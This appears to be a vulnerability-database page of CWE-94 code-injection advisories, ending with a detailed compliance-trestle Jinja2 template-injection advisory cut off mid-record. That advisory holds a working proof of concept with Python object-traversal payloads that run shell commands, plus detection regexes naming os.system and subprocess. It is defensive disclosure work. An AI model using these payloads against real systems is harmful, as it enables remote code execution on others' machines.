Common Weakness Enumeration
CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8898 vulnerabilities reference this CWE, most recent first.
GHSA-JVF4-G24P-2QGW
Vulnerability from github – Published: 2021-05-10 18:37 – Updated: 2023-09-07 18:56
VLAI
Summary
Arbitrary Code Execution in shiba
Details
All versions of package shiba are vulnerable to Arbitrary Code Execution due to the default usage of the function load() of the package js-yaml instead of its secure replacement , safeLoad().
Severity
8.3 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "shiba"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7738"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-22T22:20:49Z",
"nvd_published_at": "2020-10-02T10:15:00Z",
"severity": "HIGH"
},
"details": "All versions of package shiba are vulnerable to Arbitrary Code Execution due to the default usage of the function `load()` of the package js-yaml instead of its secure replacement , `safeLoad()`.",
"id": "GHSA-jvf4-g24p-2qgw",
"modified": "2023-09-07T18:56:23Z",
"published": "2021-05-10T18:37:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7738"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-SHIBA-596466"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/shiba"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary Code Execution in shiba"
}
GHSA-JVFP-5X44-GX2P
Vulnerability from github – Published: 2022-05-17 00:53 – Updated: 2022-05-17 00:53
VLAI
Details
Adobe Reader and Acrobat 11.x before 11.0.05 on Windows allow remote attackers to execute arbitrary JavaScript code in a javascript: URL via a crafted PDF document.
{
"affected": [],
"aliases": [
"CVE-2013-5325"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-10-09T14:54:00Z",
"severity": "HIGH"
},
"details": "Adobe Reader and Acrobat 11.x before 11.0.05 on Windows allow remote attackers to execute arbitrary JavaScript code in a javascript: URL via a crafted PDF document.",
"id": "GHSA-jvfp-5x44-gx2p",
"modified": "2022-05-17T00:53:34Z",
"published": "2022-05-17T00:53:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5325"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A19053"
},
{
"type": "WEB",
"url": "http://www.adobe.com/support/security/bulletins/apsb13-25.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JVGM-PFQV-887X
Vulnerability from github – Published: 2022-05-14 00:57 – Updated: 2025-04-14 22:05
VLAI
Summary
Bundler allows attacker to inject arbitrary code via secondary Gem source
Details
Bundler 1.x might allow remote attackers to inject arbitrary Ruby code into an application by leveraging a gem name collision on a secondary source. NOTE: this might overlap CVE-2013-0334.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "bundler"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-7954"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-23T21:46:31Z",
"nvd_published_at": "2016-12-22T22:59:00Z",
"severity": "CRITICAL"
},
"details": "Bundler 1.x might allow remote attackers to inject arbitrary Ruby code into an application by leveraging a gem name collision on a secondary source. NOTE: this might overlap CVE-2013-0334.",
"id": "GHSA-jvgm-pfqv-887x",
"modified": "2025-04-14T22:05:18Z",
"published": "2022-05-14T00:57:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7954"
},
{
"type": "WEB",
"url": "https://github.com/bundler/bundler/issues/5051"
},
{
"type": "WEB",
"url": "https://github.com/bundler/bundler/issues/5062"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1381951"
},
{
"type": "WEB",
"url": "https://collectiveidea.com/blog/archives/2016/10/06/bundlers-multiple-source-security-vulnerability"
},
{
"type": "PACKAGE",
"url": "https://github.com/rubygems/bundler"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bundler/CVE-2016-7954.yml"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170214030311/http://www.securityfocus.com/bid/93423"
},
{
"type": "WEB",
"url": "http://collectiveidea.com/blog/archives/2016/10/06/bundlers-multiple-source-security-vulnerability"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/04/5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/04/7"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/05/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Bundler allows attacker to inject arbitrary code via secondary Gem source"
}
GHSA-JVPQ-G65Q-2GFJ
Vulnerability from github – Published: 2022-05-01 23:36 – Updated: 2022-05-01 23:36
VLAI
Details
Use-after-free vulnerability in Apple iCal 3.0.1 on Mac OS X allows remote CalDAV servers, and user-assisted remote attackers, to trigger memory corruption or possibly execute arbitrary code via an "ATTACH;VALUE=URI:S=osumi" line in a .ics file, which triggers a "resource liberation" bug. NOTE: CVE-2008-2007 was originally used for this issue, but this is the appropriate identifier.
{
"affected": [],
"aliases": [
"CVE-2008-1035"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-03T20:32:00Z",
"severity": "MODERATE"
},
"details": "Use-after-free vulnerability in Apple iCal 3.0.1 on Mac OS X allows remote CalDAV servers, and user-assisted remote attackers, to trigger memory corruption or possibly execute arbitrary code via an \"ATTACH;VALUE=URI:S=osumi\" line in a .ics file, which triggers a \"resource liberation\" bug. NOTE: CVE-2008-2007 was originally used for this issue, but this is the appropriate identifier.",
"id": "GHSA-jvpq-g65q-2gfj",
"modified": "2022-05-01T23:36:01Z",
"published": "2022-05-01T23:36:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1035"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2008//May/msg00001.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30430"
},
{
"type": "WEB",
"url": "http://www.coresecurity.com/?action=item\u0026id=2219"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/492414/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/492638/100/100/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/492682/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28633"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29412"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29486"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1020095"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA08-150A.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1601"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1697"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JVX5-MMF7-496Q
Vulnerability from github – Published: 2024-06-06 03:30 – Updated: 2026-04-08 18:33
VLAI
Details
The The Album and Image Gallery plus Lightbox plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-4194"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T02:15:53Z",
"severity": "MODERATE"
},
"details": "The The Album and Image Gallery plus Lightbox plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.",
"id": "GHSA-jvx5-mmf7-496q",
"modified": "2026-04-08T18:33:19Z",
"published": "2024-06-06T03:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4194"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/album-and-image-gallery-plus-lightbox/trunk/includes/shortcode/aigpl-gallery-album-slider.php#L207"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/album-and-image-gallery-plus-lightbox/trunk/includes/shortcode/aigpl-gallery-album.php#L185"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3097986%40album-and-image-gallery-plus-lightbox\u0026new=3097986%40album-and-image-gallery-plus-lightbox\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4822f1c7-3f83-416c-8957-17e4b53d7e69?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JW39-3688-R4RX
Vulnerability from github – Published: 2026-08-28 16:15 – Updated: 2026-08-28 16:15
VLAI
Summary
Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data
Details
Impact
A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: untrusted data is re-parsed as Jinja2 template source code without sandboxing. This advisory tracks the root cause across all affected code paths.
The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to Parser.parse() or an equivalent rendering cycle, without using SandboxedEnvironment or escaping Jinja2 syntax delimiters. Because jinja2.Environment (not SandboxedEnvironment) is used, injected expressions can traverse Python object chains (__class__.__mro__, __globals__, __subclasses__()) to achieve arbitrary command execution via os.system() or subprocess.
Previously fixed instance (historical context):
An earlier version of render_template() in trestle/core/commands/author/jinja.py implemented a recursive while loop: rendered output was loaded via DictLoader into a new Environment and re-rendered until convergence. This allowed an attacker to inject {{ namespace.__init__.__globals__.os.system('command') }} into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., Title: {{ ssp.metadata.title }}), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed — render_template() now performs a single template.render(**lut) call.
Still-vulnerable code paths (this advisory):
-
MDCleanInclude.parse()—trestle/core/jinja/tags.py:148-151: Markdown file content is loaded viaFileSystemLoader.get_source(), then re-parsed as Jinja2 source viaParser(self.environment, content).parse(). -
MDSectionInclude.parse()—trestle/core/jinja/tags.py:100-103: Extracted Markdown section text (md_section.content.raw_text) is re-parsed as Jinja2 source viaParser(self.environment, raw_text).parse(). -
MDDatestamp.parse()—trestle/core/jinja/tags.py:198-201: Date string is re-parsed; lower risk because the date string is internally generated fromstrftime()rather than user input.
All three paths share the identical root cause: data that should be treated as plain text is passed to Parser.parse() and executed as Jinja2 code in an un-sandboxed Environment.
Attack vectors:
- Path A (Markdown include): Attacker places a malicious
.mdfile with embedded Jinja2 payload in the trestle workspace. When{% md_clean_include "malicious.md" %}or{% mdsection_include %}is processed, the payload executes. - Path B (Data field injection — SSP/LUT): Attacker crafts an SSP document or YAML LUT where a data field value (e.g.,
metadata.title) contains{{ namespace.__init__.__globals__.os.system('id') }}. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.
The same __globals__.os.system() RCE technique demonstrated in the previously-fixed render_template vulnerability applies to the remaining re-parsing paths.
Workarounds
- Disable vulnerable tags: Remove
MDCleanIncludeandMDSectionIncludefrom the Jinja2 extensions list intrestle/core/jinja/ext.py:32if markdown includes are not required. - Audit included Markdown files: Review all Markdown files referenced by
{% md_clean_include %}and{% mdsection_include %}tags for unexpected Jinja2 syntax ({{ }},{% %},{# #}). - Scan data sources: Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns.
- Restrict workspace write access: Ensure only trusted users can add or modify files in trestle workspace directories.
- Pre-commit hook: Add a pre-commit hook to scan
.md,.json,.yamlfiles for Jinja2 syntax patterns ({{ namespace,{% for,__globals__,__class__,__mro__,__subclasses__,os.system,subprocess) and block commits containing them. - CI/CD isolation: If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.
Attack Path (Validation Evidence)
Path A: via {% md_clean_include %} tag
[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md
↓ main() → JinjaCmd._run(args) [trestle/core/commands/author/jinja.py:108]
↓
[Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...) [jinja.py:178]
↓ jinja_env = JinjaCmd._create_jinja_environment(template_folder) [jinja.py:192]
↓ template = jinja_env.get_template(str(r_input_file)) [jinja.py:193]
↓ output = JinjaCmd.render_template(template, lut, template_folder) [jinja.py:225]
↓
[Render] Jinja2 engine encounters {% md_clean_include "malicious.md" %}
↓
[Tag Handler] MDCleanInclude.parse(parser) [tags.py:115]
↓ markdown_source = "malicious.md" [tags.py:127]
↓ self.environment.loader.get_source(self.environment, "malicious.md") [tags.py:139]
↓ ← Loads file content from workspace directory (no restrictions on content)
↓ frontmatter.loads(md_content) → fm.content [tags.py:140-141]
↓ ← NO SANITIZATION: Markdown body assigned directly to content variable
[SINK] local_parser = Parser(self.environment, content) [tags.py:148]
↓ ← Markdown content parsed as Jinja2 template SOURCE CODE
[SINK] top_level_output = local_parser.parse() [tags.py:149]
↓ ← ALL Jinja2 syntax in the .md file is EXECUTED
[Impact] SSTI — attacker-controlled Jinja2 code executes in template context
Path B: via {% mdsection_include %} tag
[Entry Point] Same as Path A
↓ Jinja2 engine encounters {% mdsection_include "doc.md" "Section Title" %}
↓
[Tag Handler] MDSectionInclude.parse(parser) [tags.py:56]
↓ self.environment.loader.get_source(..., markdown_source.value) [tags.py:82]
↓ DocsMarkdownNode.build_tree_from_markdown(fm.content.split('\n')) [tags.py:86]
↓ full_md.get_node_for_key(section_title.value) → md_section [tags.py:87]
↓ ← Extracts specific section from the markdown document
[SINK] local_parser = Parser(self.environment, md_section.content.raw_text) [tags.py:100]
↓ ← Section raw text parsed as Jinja2 template SOURCE CODE
[SINK] top_level_output = local_parser.parse() [tags.py:101]
↓ ← ALL Jinja2 syntax in the extracted section is EXECUTED
[Impact] SSTI — same impact as Path A, limited to a specific markdown section
Taint Flow (Validation Evidence)
Source: User-supplied .md file in trestle workspace (file system)
Type: Markdown text file
Controllability: FULL — attacker controls entire file content
↓
[Transform 1] FileSystemLoader.get_source() [tags.py:82 or 139]
Reads raw file content as string
✓ SANITIZATION: NONE — any content is loaded
↓
[Transform 2] frontmatter.loads(md_content) [tags.py:83 or 140]
Strips YAML frontmatter, preserves Markdown body
✓ SANITIZATION: NONE — only processes YAML header, ignores body content
↓
[Transform 3] fm.content → content variable [tags.py:141] (Path A)
OR md_section.content.raw_text [tags.py:100] (Path B)
Direct string assignment
✓ SANITIZATION: NONE — no filtering, encoding, or validation
↓
[Transform 4] adjust_heading_level(content, expected) [tags.py:146] (Path A only)
Adjusts Markdown heading levels (e.g., ## → ###)
✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax
↓
[Sink] Parser(self.environment, tainted_string) [tags.py:100 or 148]
Tainted Markdown content is passed to Jinja2 Parser constructor as template source
[Sink] local_parser.parse() [tags.py:101 or 149]
All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed
↓
[Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context
Sanitization Verdict: ABSENT
- No sandboxing: jinja2.Environment used (not SandboxedEnvironment)
- No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped
- No content validation: Markdown body is not scanned for template syntax
- autoescape=True is irrelevant: only affects HTML output encoding, not code execution
Proof of Concept
Setup
# Initialize trestle workspace
trestle init
# Create malicious markdown file with Jinja2 payload
cat > malicious.md << 'EOF'
---
yaml_header: ignored
---
# Compliance Documentation
Testing SSTI vulnerability:
Execute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
EOF
# Create trigger template
cat > trigger.md.jinja << 'EOF'
# POC: SSTI via md_clean_include tag
{% md_clean_include "malicious.md" %}
EOF
# Create a dummy LUT file
cat > empty.yaml << 'EOF'
lut:
api_key: super_secret_token_12345
db_password: P@ssw0rd_2024
jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
aws_access_key: AKIAIOSFODNN7EXAMPLE
aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
internal_api: https://internal.corp.example.com/api/v2/users
EOF
Execution
trestle init
trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml
Observed Output
# POC: SSTI via md_clean_include tag
# Compliance Documentation
Testing SSTI vulnerability:
Execute command: root
Expected Result
The rendered output.md will contain the output of the {% for %} loop, revealing all key-value pairs from the lut template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.
Affected Component
- File:
trestle/core/jinja/tags.py - Class:
MDCleanInclude(lines 106-151) - Class:
MDSectionInclude(lines 47-103) - Function:
MDCleanInclude.parse()(line 115),MDSectionInclude.parse()(line 56) - Configuring module:
trestle/core/commands/author/jinja.py, method_create_jinja_environment()(line 304) - Dependency: Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library
Fix Recommendation
Important: The fix for
render_template()(removing the recursivewhileloop) was a necessary first step, but is not sufficient. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.
Comprehensive Fix Strategy
Step 1 (Root cause fix): Remove all secondary Jinja2 parsing from custom tags where it is not needed:
# tags.py: MDCleanInclude.parse() — replace lines 148-151:
- local_parser = Parser(self.environment, content)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(content)])]
# tags.py: MDSectionInclude.parse() — replace lines 100-103:
- local_parser = Parser(self.environment, md_section.content.raw_text)
- top_level_output = local_parser.parse()
- return top_level_output.body
+ from jinja2 import nodes
+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]
Step 2 (Defense in depth): Switch to SandboxedEnvironment in _create_jinja_environment():
# jinja.py:304-308 — _create_jinja_environment()
+ from jinja2.sandbox import SandboxedEnvironment
- return Environment(
+ return SandboxedEnvironment(
loader=FileSystemLoader(template_folder),
extensions=extensions(),
trim_blocks=True,
autoescape=True
)
Step 3 (Input validation): Add validation to reject input data containing Jinja2 syntax:
# jinja.py: add to _run() before rendering
_JINJA2_DANGEROUS_PATTERNS = [
r'\{\{.*__globals__',
r'\{\{.*__class__',
r'\{\{.*__mro__',
r'\{\{.*__subclasses__',
r'\{\{.*__init__',
r'\{\{.*os\.system',
r'\{\{.*subprocess',
r'\{%\s*for\s',
r'\{%\s*if\s',
]
def _validate_data_field(value: str) -> bool:
"""Reject data values containing suspicious Jinja2 syntax."""
for pattern in _JINJA2_DANGEROUS_PATTERNS:
if re.search(pattern, value):
return False
return True
Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data
# tags.py: before any secondary parsing
+ import re
+ def escape_jinja2(text: str) -> str:
+ return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text)
+
+ content = escape_jinja2(content) # apply before Parser()
local_parser = Parser(self.environment, content)
Severity
7.8 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.12.3"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54757"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:15:38Z",
"nvd_published_at": "2026-08-25T23:17:19Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle\u0027s Jinja2 rendering pipeline due to a systemic pattern: **untrusted data is re-parsed as Jinja2 template source code without sandboxing**. This advisory tracks the root cause across all affected code paths.\n\nThe core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to `Parser.parse()` or an equivalent rendering cycle, without using `SandboxedEnvironment` or escaping Jinja2 syntax delimiters. Because `jinja2.Environment` (not `SandboxedEnvironment`) is used, injected expressions can traverse Python object chains (`__class__.__mro__`, `__globals__`, `__subclasses__()`) to achieve arbitrary command execution via `os.system()` or `subprocess`.\n\n**Previously fixed instance (historical context):**\n\nAn earlier version of `render_template()` in `trestle/core/commands/author/jinja.py` implemented a recursive `while` loop: rendered output was loaded via `DictLoader` into a new `Environment` and re-rendered until convergence. This allowed an attacker to inject `{{ namespace.__init__.__globals__.os.system(\u0027command\u0027) }}` into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., `Title: {{ ssp.metadata.title }}`), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed \u2014 `render_template()` now performs a single `template.render(**lut)` call.\n\n**Still-vulnerable code paths (this advisory):**\n\n1. **`MDCleanInclude.parse()`** \u2014 `trestle/core/jinja/tags.py:148-151`: Markdown file content is loaded via `FileSystemLoader.get_source()`, then re-parsed as Jinja2 source via `Parser(self.environment, content).parse()`.\n\n2. **`MDSectionInclude.parse()`** \u2014 `trestle/core/jinja/tags.py:100-103`: Extracted Markdown section text (`md_section.content.raw_text`) is re-parsed as Jinja2 source via `Parser(self.environment, raw_text).parse()`.\n\n3. **`MDDatestamp.parse()`** \u2014 `trestle/core/jinja/tags.py:198-201`: Date string is re-parsed; lower risk because the date string is internally generated from `strftime()` rather than user input.\n\nAll three paths share the identical root cause: data that should be treated as plain text is passed to `Parser.parse()` and executed as Jinja2 code in an un-sandboxed `Environment`.\n\n**Attack vectors:**\n\n- **Path A (Markdown include):** Attacker places a malicious `.md` file with embedded Jinja2 payload in the trestle workspace. When `{% md_clean_include \"malicious.md\" %}` or `{% mdsection_include %}` is processed, the payload executes.\n- **Path B (Data field injection \u2014 SSP/LUT):** Attacker crafts an SSP document or YAML LUT where a data field value (e.g., `metadata.title`) contains `{{ namespace.__init__.__globals__.os.system(\u0027id\u0027) }}`. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.\n\nThe same `__globals__.os.system()` RCE technique demonstrated in the previously-fixed `render_template` vulnerability applies to the remaining re-parsing paths.\n\n\n### Workarounds\n\n1. **Disable vulnerable tags:** Remove `MDCleanInclude` and `MDSectionInclude` from the Jinja2 extensions list in `trestle/core/jinja/ext.py:32` if markdown includes are not required.\n2. **Audit included Markdown files:** Review all Markdown files referenced by `{% md_clean_include %}` and `{% mdsection_include %}` tags for unexpected Jinja2 syntax (`{{ }}`, `{% %}`, `{# #}`).\n3. **Scan data sources:** Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns.\n4. **Restrict workspace write access:** Ensure only trusted users can add or modify files in trestle workspace directories.\n5. **Pre-commit hook:** Add a pre-commit hook to scan `.md`, `.json`, `.yaml` files for Jinja2 syntax patterns (`{{ namespace`, `{% for`, `__globals__`, `__class__`, `__mro__`, `__subclasses__`, `os.system`, `subprocess`) and block commits containing them.\n6. **CI/CD isolation:** If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.\n\n## Attack Path (Validation Evidence)\n\n### Path A: via `{% md_clean_include %}` tag\n\n```\n[Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md\n \u2193 main() \u2192 JinjaCmd._run(args) [trestle/core/commands/author/jinja.py:108]\n \u2193\n[Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...) [jinja.py:178]\n \u2193 jinja_env = JinjaCmd._create_jinja_environment(template_folder) [jinja.py:192]\n \u2193 template = jinja_env.get_template(str(r_input_file)) [jinja.py:193]\n \u2193 output = JinjaCmd.render_template(template, lut, template_folder) [jinja.py:225]\n \u2193\n[Render] Jinja2 engine encounters {% md_clean_include \"malicious.md\" %}\n \u2193\n[Tag Handler] MDCleanInclude.parse(parser) [tags.py:115]\n \u2193 markdown_source = \"malicious.md\" [tags.py:127]\n \u2193 self.environment.loader.get_source(self.environment, \"malicious.md\") [tags.py:139]\n \u2193 \u2190 Loads file content from workspace directory (no restrictions on content)\n \u2193 frontmatter.loads(md_content) \u2192 fm.content [tags.py:140-141]\n \u2193 \u2190 NO SANITIZATION: Markdown body assigned directly to content variable\n[SINK] local_parser = Parser(self.environment, content) [tags.py:148]\n \u2193 \u2190 Markdown content parsed as Jinja2 template SOURCE CODE\n[SINK] top_level_output = local_parser.parse() [tags.py:149]\n \u2193 \u2190 ALL Jinja2 syntax in the .md file is EXECUTED\n[Impact] SSTI \u2014 attacker-controlled Jinja2 code executes in template context\n```\n\n### Path B: via `{% mdsection_include %}` tag\n\n```\n[Entry Point] Same as Path A\n \u2193 Jinja2 engine encounters {% mdsection_include \"doc.md\" \"Section Title\" %}\n \u2193\n[Tag Handler] MDSectionInclude.parse(parser) [tags.py:56]\n \u2193 self.environment.loader.get_source(..., markdown_source.value) [tags.py:82]\n \u2193 DocsMarkdownNode.build_tree_from_markdown(fm.content.split(\u0027\\n\u0027)) [tags.py:86]\n \u2193 full_md.get_node_for_key(section_title.value) \u2192 md_section [tags.py:87]\n \u2193 \u2190 Extracts specific section from the markdown document\n[SINK] local_parser = Parser(self.environment, md_section.content.raw_text) [tags.py:100]\n \u2193 \u2190 Section raw text parsed as Jinja2 template SOURCE CODE\n[SINK] top_level_output = local_parser.parse() [tags.py:101]\n \u2193 \u2190 ALL Jinja2 syntax in the extracted section is EXECUTED\n[Impact] SSTI \u2014 same impact as Path A, limited to a specific markdown section\n```\n\n## Taint Flow (Validation Evidence)\n\n```\nSource: User-supplied .md file in trestle workspace (file system)\n Type: Markdown text file\n Controllability: FULL \u2014 attacker controls entire file content\n \u2193\n[Transform 1] FileSystemLoader.get_source() [tags.py:82 or 139]\n Reads raw file content as string\n \u2713 SANITIZATION: NONE \u2014 any content is loaded\n \u2193\n[Transform 2] frontmatter.loads(md_content) [tags.py:83 or 140]\n Strips YAML frontmatter, preserves Markdown body\n \u2713 SANITIZATION: NONE \u2014 only processes YAML header, ignores body content\n \u2193\n[Transform 3] fm.content \u2192 content variable [tags.py:141] (Path A)\n OR md_section.content.raw_text [tags.py:100] (Path B)\n Direct string assignment\n \u2713 SANITIZATION: NONE \u2014 no filtering, encoding, or validation\n \u2193\n[Transform 4] adjust_heading_level(content, expected) [tags.py:146] (Path A only)\n Adjusts Markdown heading levels (e.g., ## \u2192 ###)\n \u2713 SANITIZATION: NONE \u2014 only modifies \u0027#\u0027 character count, does not touch Jinja2 syntax\n \u2193\n[Sink] Parser(self.environment, tainted_string) [tags.py:100 or 148]\n Tainted Markdown content is passed to Jinja2 Parser constructor as template source\n[Sink] local_parser.parse() [tags.py:101 or 149]\n All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed\n \u2193\n[Impact] SSTI \u2014 Jinja2 code from attacker-controlled Markdown file executes in template context\n\nSanitization Verdict: ABSENT\n - No sandboxing: jinja2.Environment used (not SandboxedEnvironment)\n - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped\n - No content validation: Markdown body is not scanned for template syntax\n - autoescape=True is irrelevant: only affects HTML output encoding, not code execution\n```\n\n## Proof of Concept\n\n### Setup\n\n```bash\n# Initialize trestle workspace\ntrestle init\n\n# Create malicious markdown file with Jinja2 payload\ncat \u003e malicious.md \u003c\u003c \u0027EOF\u0027\n---\nyaml_header: ignored\n---\n\n# Compliance Documentation\n\nTesting SSTI vulnerability:\nExecute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027whoami\u0027).read() }}\nEOF\n\n# Create trigger template\ncat \u003e trigger.md.jinja \u003c\u003c \u0027EOF\u0027\n# POC: SSTI via md_clean_include tag\n\n{% md_clean_include \"malicious.md\" %}\nEOF\n\n# Create a dummy LUT file\ncat \u003e empty.yaml \u003c\u003c \u0027EOF\u0027\nlut:\n api_key: super_secret_token_12345\n db_password: P@ssw0rd_2024\n jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n aws_access_key: AKIAIOSFODNN7EXAMPLE\n aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n internal_api: 